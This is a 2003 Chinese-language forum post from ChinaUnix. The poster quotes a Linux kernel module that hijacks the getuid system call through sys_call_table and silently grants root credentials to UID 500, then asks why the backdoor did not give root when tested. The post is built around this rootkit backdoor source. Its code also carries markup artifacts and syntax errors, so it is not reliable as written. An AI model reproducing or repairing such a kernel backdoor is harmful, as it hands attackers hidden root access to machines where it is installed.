免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 730 | 回复: 0
打印 上一主题 下一主题

请教这一段代码?? [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2003-08-04 23:11 |只看该作者 |倒序浏览
extern void* sys_call_table[];


int (*orig_getuid)();

int hacked_getuid()
{
    int tmp;
     
    /*check for our UID*/
    if (current->;uid==500) {
    /*if its our UID ->; this means we log in ->; give us a rootshell*/
            current->;uid = 0;
        current->;euid = 0;
        current->;gid = 0;
        current->;egid = 0;
        return 0;
    }
    tmp = (*orig_getuid) ();
    return tmp;
}


int init_module(void)                /*module setup*/
{
orig_getuid=sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid]=hacked_getuid;
return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
sys_call_table[SYS_getuid]=orig_getuid;                                      
}

根据代码来看,上面的模块应该是让特殊ID用户程序具有超级用户权限
今天把这段代码用普通用户(UID为500)在自己的机器上试了一晚上,
挂接好摸快之后,运行几个特权程序,或者访问不属于自己的文件,均出现
:Permition Denied...
请问前辈,什么情况下会用上getuid 系统调用啊。郁闷ing。。
我试了一个用户空间的程序测试了一下。源程序如下:
#include<linux/syscall.h>;
#include<stdio.h>;
void main()
{
  int uid;
  uid=getuid();
  printf("My uid is : %d\n",uid):
}
得到的UID竟是500。
      
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP